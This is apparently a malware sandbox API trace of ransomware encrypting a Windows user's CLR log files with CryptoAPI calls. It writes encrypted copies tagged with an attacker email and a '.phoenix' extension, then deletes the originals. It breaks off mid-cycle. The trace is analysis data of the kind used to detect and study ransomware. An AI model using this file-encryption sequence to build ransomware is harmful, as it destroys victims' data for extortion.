	[0265.853] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\ngen.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\ngen.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0265.853] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0265.853] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0265.853] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\ngen.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\ngen.log.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0265.854] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151040) returned 1
	[0265.854] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0265.854] ReadFile (in: hFile=0x304, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x14f, lpOverlapped=0x0) returned 1
	[0265.855] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x150, dwBufLen=0x150 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x150) returned 1
	[0265.855] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x150, lpOverlapped=0x0) returned 1
	[0265.856] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151500) returned 1
	[0265.856] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0265.856] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0265.856] CryptDestroyKey (hKey=0x151500) returned 1
	[0265.856] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0265.882] CryptDestroyKey (hKey=0x151040) returned 1
	[0265.882] CloseHandle (hObject=0x304) returned 1
	[0265.883] CloseHandle (hObject=0x2e8) returned 1
	[0265.883] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\ngen.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\ngen.log")) returned 1
	[0265.884] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0265.884] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\mmc.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\mmc.exe.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0265.936] GetFileSizeEx (in: hFile=0x2d4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=2539) returned 1
	[0265.936] CloseHandle (hObject=0x2d4) returned 1
	[0265.936] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\mmc.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\mmc.exe.log")) returned 0x20
	[0265.936] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\mmc.exe.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\mmc.exe.log.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0265.937] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\mmc.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\mmc.exe.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0265.937] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0265.937] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0265.937] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\mmc.exe.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\mmc.exe.log.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0265.940] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151600) returned 1
	[0265.940] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0265.940] ReadFile (in: hFile=0x304, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x9eb, lpOverlapped=0x0) returned 1
	[0265.944] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x9f0, dwBufLen=0x9f0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x9f0) returned 1
	[0265.944] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x9f0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x9f0, lpOverlapped=0x0) returned 1
	[0265.944] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1512c0) returned 1
	[0265.944] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0265.944] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0265.944] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0265.945] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0265.945] CryptDestroyKey (hKey=0x151600) returned 1
	[0265.945] CloseHandle (hObject=0x304) returned 1
	[0265.945] CloseHandle (hObject=0x2c0) returned 1
	[0265.945] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\mmc.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\mmc.exe.log")) returned 1
	[0265.946] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0265.946] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\powershell.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\powershell.exe.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0265.950] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=3649) returned 1
	[0265.950] CloseHandle (hObject=0x304) returned 1
	[0265.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\powershell.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\powershell.exe.log")) returned 0x20
	[0265.950] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\powershell.exe.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\powershell.exe.log.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0265.951] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\powershell.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\powershell.exe.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0265.951] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0265.951] SetFilePointerEx (in: hFile=0x2d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0265.951] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\powershell.exe.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\powershell.exe.log.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0265.951] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151180) returned 1
	[0265.951] CryptSetKeyParam (hKey=0x151180, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0265.951] ReadFile (in: hFile=0x2d4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xe41, lpOverlapped=0x0) returned 1
	[0265.952] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe50, dwBufLen=0xe50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xe50) returned 1
	[0265.953] WriteFile (in: hFile=0x2b0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xe50, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xe50, lpOverlapped=0x0) returned 1
	[0265.953] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1517c0) returned 1
	[0265.953] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0265.953] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0265.953] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0265.953] WriteFile (in: hFile=0x2b0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0265.953] CryptDestroyKey (hKey=0x151180) returned 1
	[0265.953] CloseHandle (hObject=0x2d4) returned 1
	[0265.954] CloseHandle (hObject=0x2b0) returned 1
	[0265.954] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\powershell.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\powershell.exe.log")) returned 1
	[0265.954] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0265.954] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\sdiagnhost.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\sdiagnhost.exe.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0265.994] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=5820) returned 1
	[0265.994] CloseHandle (hObject=0x2b0) returned 1
	[0265.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\sdiagnhost.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\sdiagnhost.exe.log")) returned 0x20
	[0265.995] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\sdiagnhost.exe.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\sdiagnhost.exe.log.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0265.995] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\sdiagnhost.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\sdiagnhost.exe.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0265.995] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0265.995] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0265.995] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\sdiagnhost.exe.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\sdiagnhost.exe.log.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0265.995] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151100) returned 1
	[0265.996] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0265.996] ReadFile (in: hFile=0x2b0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x16bc, lpOverlapped=0x0) returned 1
	[0265.997] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x16c0, dwBufLen=0x16c0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x16c0) returned 1
	[0265.997] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x16c0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x16c0, lpOverlapped=0x0) returned 1
	[0265.998] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1512c0) returned 1
	[0265.998] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0265.998] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0265.998] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0265.998] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0265.998] CryptDestroyKey (hKey=0x151100) returned 1
	[0265.998] CloseHandle (hObject=0x2b0) returned 1
	[0265.998] CloseHandle (hObject=0x2e8) returned 1
	[0265.998] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0\\UsageLogs\\sdiagnhost.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0\\usagelogs\\sdiagnhost.exe.log")) returned 1
	[0265.999] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0265.999] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\ngen.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0_32\\ngen.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0266.002] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=333) returned 1
	[0266.002] CloseHandle (hObject=0x2e8) returned 1
	[0266.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\ngen.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0_32\\ngen.log")) returned 0x20
	[0266.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\ngen.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0_32\\ngen.log.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.002] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\ngen.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0_32\\ngen.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0266.002] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.002] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.002] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\ngen.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0_32\\ngen.log.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0266.008] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151100) returned 1
	[0266.008] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.008] ReadFile (in: hFile=0x2e8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x14d, lpOverlapped=0x0) returned 1
	[0266.009] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x150, dwBufLen=0x150 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x150) returned 1
	[0266.009] WriteFile (in: hFile=0x304, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x150, lpOverlapped=0x0) returned 1
	[0266.010] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1517c0) returned 1
	[0266.010] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0266.010] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0266.011] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0266.011] WriteFile (in: hFile=0x304, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0266.011] CryptDestroyKey (hKey=0x151100) returned 1
	[0266.011] CloseHandle (hObject=0x2e8) returned 1
	[0266.011] CloseHandle (hObject=0x304) returned 1
	[0266.012] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\ngen.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0_32\\ngen.log")) returned 1
	[0266.013] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0266.013] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0_32\\usagelogs\\powershell.exe.log"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0266.014] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=3501) returned 1
	[0266.014] CloseHandle (hObject=0x304) returned 1
	[0266.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0_32\\usagelogs\\powershell.exe.log")) returned 0x20
	[0266.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0_32\\usagelogs\\powershell.exe.log.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.014] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\CLR_v4.0_32\\UsageLogs\\powershell.exe.log" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\clr_v4.0_32\\usagelogs\\powershell.exe.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304
	[0266.014] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0266.014] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
